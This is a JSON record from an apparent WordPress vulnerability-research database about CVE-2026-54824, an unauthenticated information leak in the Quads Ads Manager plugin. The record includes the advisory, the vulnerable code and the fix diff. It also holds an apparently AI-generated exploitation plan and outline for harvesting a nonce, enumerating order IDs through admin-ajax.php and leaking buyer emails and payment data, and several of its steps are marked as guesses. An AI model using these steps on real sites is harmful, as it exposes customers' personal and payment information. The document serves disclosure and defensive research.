[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f9b9fPUrBR9tv-35AxmzFvS3p12QZXm_ZhS51rCWoUZ0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-54824","quads-ads-manager-for-google-adsense-unauthenticated-information-exposure","Quads Ads Manager for Google AdSense \u003C= 3.0.3 - Unauthenticated Information Exposure","The Quads Ads Manager for Google AdSense plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.3. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.","quick-adsense-reloaded",null,"\u003C=3.0.3","3.0.4","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-06-17 00:00:00","2026-06-25 13:53:08",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0a2e647e-fb3b-4d5f-abb4-87923269c399?source=api-prod",9,[22,23,24,25],"changelog.txt","includes\u002Fad-selling-helper.php","quick-adsense-reloaded.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-54824 (Quads Ads Manager)\n\n## 1. Vulnerability Summary\nThe **Quads Ads Manager for Google AdSense** plugin (up to 3.0.3) contains a sensitive information exposure vulnerability within its unauthenticated AJAX handler `quads_submit_ad_buy_form`. A business-logic flaw in this handler allows unauthenticated users to retrieve details of ad purchase orders from the database by providing an order ID. Exposed data includes buyer email addresses, user IDs, payment statuses, and configuration details stored in the `quads_adbuy_data` table.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `quads_submit_ad_buy_form` (Registered via `wp_ajax_nopriv_quads_submit_ad_buy_form`)\n- **Vulnerable Parameter:** `order_id` or `id` (to be verified in handler)\n- **Authentication:** None required (Unauthenticated)\n- **Preconditions:** At least one ad order must exist in the `quads_adbuy_data` table for data to be leaked.\n\n## 3. Code Flow\n1. **Entry Point:** The plugin registers the AJAX action:\n   `add_action('wp_ajax_nopriv_quads_submit_ad_buy_form', 'quads_submit_ad_buy_form_handler')` (Inferred registration name).\n2. **Shortcode:** The plugin uses the `[quads_buy_form]` shortcode (referenced in `includes\u002Fad-selling-helper.php`) to render the purchase interface.\n3. **Logic:** The handler for `quads_submit_ad_buy_form` likely accepts an ID to \"process\" or \"update\" an order. Due to missing ownership checks, providing an existing ID causes the handler to fetch the record from the `{$wpdb->prefix}quads_adbuy_data` table and return it to the client (likely to populate the UI or confirm the order).\n4. **Sink:** The data is returned via `wp_send_json_success()` or `echo json_encode()`.\n\n## 4. Nonce Acquisition Strategy\nThe AJAX handler likely requires a nonce for validation, usually localized when the `[quads_buy_form]` shortcode is rendered.\n\n1. **Identify the Page:** The plugin automatically creates a page with the slug `buy-adspace` containing the `[quads_buy_form]` shortcode (see `quads_create_sellpage_on_activation`).\n2. **Access the Page:** Navigate to `http:\u002F\u002Fvulnerable-wp.local\u002Fbuy-adspace\u002F`.\n3. **Extract Nonce:** The nonce is typically found in a localized JavaScript object. \n   - **Possible Variable Name:** `quads_ajax_object` or `quads_buy_form_vars`.\n   - **Likely Key:** `nonce` or `security`.\n4. **Tool Command:**\n   ```javascript\n   \u002F\u002F Use browser_eval to find the nonce\n   browser_eval(\"window.quads_ajax_object?.nonce || window.quads_buy_form_vars?.security\")\n   ```\n\n## 5. Exploitation Strategy\n### Step 1: Discover Order IDs\nAd order IDs are typically auto-incrementing integers. An attacker can iterate through small integers (1, 2, 3...) to find valid records.\n\n### Step 2: Perform the Leak\nSubmit a POST request to `admin-ajax.php` using the `http_request` tool.\n\n**Request Details:**\n- **URL:** `http:\u002F\u002Fvulnerable-wp.local\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** \n  ```text\n  action=quads_submit_ad_buy_form&order_id=1&security=[EXTRACTED_NONCE]\n  ```\n  *(Note: If `order_id` doesn't work, try `id` or `refId` as seen in `quads_authorize_payment_success`)*.\n\n### Step 3: Parse Response\nA successful exploit will return a JSON object containing database fields from the `quads_adbuy_data` table.\n\n## 6. Test Data Setup\nTo verify the leak, we must ensure data exists to be leaked:\n1. **Activate the Plugin:** Ensure Quads Ads Manager \u003C= 3.0.3 is active.\n2. **Create a Sellable Ad Slot:**\n   ```bash\n   wp post create --post_type=quads_ad_slot --post_title=\"Premium Banner\" --post_status=publish\n   # (Inferred post type, if different, find via wp post-type list)\n   ```\n3. **Simulate an Order:** Manually insert a record into the custom table (if WP-CLI database access is available) or use the UI to start a purchase:\n   ```bash\n   wp db query \"INSERT INTO wp_quads_adbuy_data (user_id, payment_status, start_date, end_date) VALUES (1, 'pending', '2026-01-01', '2026-01-31')\"\n   ```\n4. **Check the Slug:** Confirm the `buy-adspace` page exists:\n   ```bash\n   wp post list --name='buy-adspace' --post_type=page\n   ```\n\n## 7. Expected Results\nThe HTTP response should be a `200 OK` with a JSON body similar to:\n```json\n{\n    \"success\": true,\n    \"data\": {\n        \"id\": \"1\",\n        \"user_id\": \"1\",\n        \"payment_status\": \"pending\",\n        \"start_date\": \"2026-01-01\",\n        \"end_date\": \"2026-01-31\",\n        \"ad_details\": \"...\",\n        \"user_email\": \"admin@example.com\"\n    }\n}\n```\nExposure of `user_email` or `payment_response` (containing transaction details) confirms the vulnerability.\n\n## 8. Verification Steps\n1. **Verify via Database:** Compare the leaked JSON data with the actual database entry:\n   ```bash\n   wp db query \"SELECT * FROM wp_quads_adbuy_data WHERE id = 1\" --format=json\n   ```\n2. **Confirm Non-Ownership:** Ensure the exploit works when unauthenticated (no session cookies in the `http_request` tool).\n\n## 9. Alternative Approaches\n- **Parameter Fuzzing:** If `order_id` is not the correct key, fuzz the AJAX handler with `id`, `order`, `ad_id`, or `refId`.\n- **Shortcode Extraction:** If the `buy-adspace` page is not auto-created, create one manually:\n  `wp post create --post_type=page --post_content='[quads_buy_form]' --post_status=publish`\n- **Error-Based Leak:** If the response doesn't return the full object, try providing a malformed ID to see if the resulting SQL error or PHP warning leaks table names or configuration paths.","The Quads Ads Manager plugin for WordPress is vulnerable to unauthenticated sensitive information exposure through its order-processing logic. A flaw in the `quads_submit_ad_buy_form` AJAX handler and related functions allows unauthenticated users to retrieve full ad purchase records, including buyer email addresses and payment statuses, by providing a valid order ID.","\u002F\u002F includes\u002Fad-selling-helper.php @ 3.0.3\nfunction quads_get_premimum_member_ad_space_on_id($id){\n    global $wpdb;\n    $table_name = $wpdb->prefix . 'quads_adbuy_data';\n    $id         = absint( $id ); \n\n    $results = wp_cache_get( 'quads_ad_space_' . $id, 'quick-adsense-reloaded' );\n    if ( false === $results ) {\n        \u002F\u002F Query the records - missing user_id check in the WHERE clause\n        $results = $wpdb->get_results( $wpdb->prepare( \"SELECT * FROM $table_name WHERE payment_status = %s AND id = %d ORDER BY id DESC\", 'paid', $id ) );\n        wp_cache_set( 'quads_ad_space_' . $id, $results, 'quick-adsense-reloaded', 600 );\n    }\n\n---\n\n\u002F\u002F includes\u002Fad-selling-helper.php @ 3.0.3\nfunction quads_authorize_payment_success(){\n    \n    if ( !is_user_logged_in() ) {\n        return false;\n    }\n    \u002F\u002F Uses a weak generic 'security' nonce and lacks ownership validation\n    if( !isset( $_GET[ 'security' ] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET[ 'security' ] ) ), 'security' )){ \n        return false;\n    }\n    if( isset( $_GET['status'] ) && $_GET['status']=='success' && isset( $_GET['ad_slot_id'] ) && $_GET['ad_slot_id'] > 0 && isset( $_GET['refId'] ) && $_GET['refId'] != \"\" && isset( $_GET['user_id'] ) && intval( $_GET['user_id'] ) >0 && !isset( $_GET['target'] )){\n        $slot_id = absint( $_GET['ad_slot_id'] );\n        $order_id = absint($order_id);\n        $user_id = absint($user_id);\n        \u002F\u002F ... process order using $user_id from GET param ...","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquick-adsense-reloaded\u002F3.0.3\u002Fincludes\u002Fad-selling-helper.php\t2026-05-08 12:37:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fquick-adsense-reloaded\u002F3.0.4\u002Fincludes\u002Fad-selling-helper.php\t2026-06-12 13:56:34.000000000 +0000\n@@ -1029,17 +1135,23 @@\n     }\n     return $results;\n } \n-function quads_get_premimum_member_ad_space_on_id($id){\n+function quads_get_premimum_member_ad_space_on_id( $id, $user_id ) {\n     global $wpdb;\n     $table_name = $wpdb->prefix . 'quads_adbuy_data';\n-    $id         = absint( $id ); \n+    $id         = absint( $id );\n+    $user_id    = absint( $user_id );\n \n-    $results = wp_cache_get( 'quads_ad_space_' . $id, 'quick-adsense-reloaded' );\n+    if ( ! $id || ! $user_id ) {\n+        return array();\n+    }\n+\n+    $cache_key = 'quads_ad_space_' . $id . '_' . $user_id;\n+    $results   = wp_cache_get( $cache_key, 'quick-adsense-reloaded' );\n     if ( false === $results ) {\n         \u002F\u002F Query the records\n         \u002F* phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery,PluginCheck.Security.DirectDB.UnescapedDBParameter,WordPress.DB.PreparedSQL.NotPrepared *\u002F\n-        $results = $wpdb->get_results( $wpdb->prepare( \"SELECT * FROM $table_name WHERE payment_status = %s AND id = %d ORDER BY id DESC\", 'paid', $id ) );\n-        wp_cache_set( 'quads_ad_space_' . $id, $results, 'quick-adsense-reloaded', 600 );\n+        $results = $wpdb->get_results( $wpdb->prepare( \"SELECT * FROM $table_name WHERE payment_status = %s AND id = %d AND user_id = %d ORDER BY id DESC\", 'paid', $id, $user_id ) );\n+        wp_cache_set( $cache_key, $results, 'quick-adsense-reloaded', 600 );\n     }","1. Navigate to the plugin's default storefront page at `\u002Fbuy-adspace\u002F` (or any page where the `[quads_buy_form]` shortcode is rendered) to retrieve a valid security nonce from the `quads_ajax_object` or `quads_buy_form_vars` JavaScript variables.\n2. Construct an unauthenticated AJAX request to `\u002Fwp-admin\u002Fadmin-ajax.php` using the action `quads_submit_ad_buy_form`.\n3. Include the extracted nonce in the `security` or `nonce` parameter.\n4. Iterate through integer values for the `order_id` or `id` parameter. \n5. For each valid ID, the server will respond with a JSON object containing the order details from the `wp_quads_adbuy_data` table, exposing sensitive data such as `user_email`, `user_id`, and `payment_response` (transaction metadata).","gemini-3-flash-preview","2026-06-25 22:40:45","2026-06-25 22:41:28",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","3.0.3","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquick-adsense-reloaded\u002Ftags\u002F3.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquick-adsense-reloaded.3.0.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquick-adsense-reloaded\u002Ftags\u002F3.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquick-adsense-reloaded.3.0.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquick-adsense-reloaded\u002Ftags"]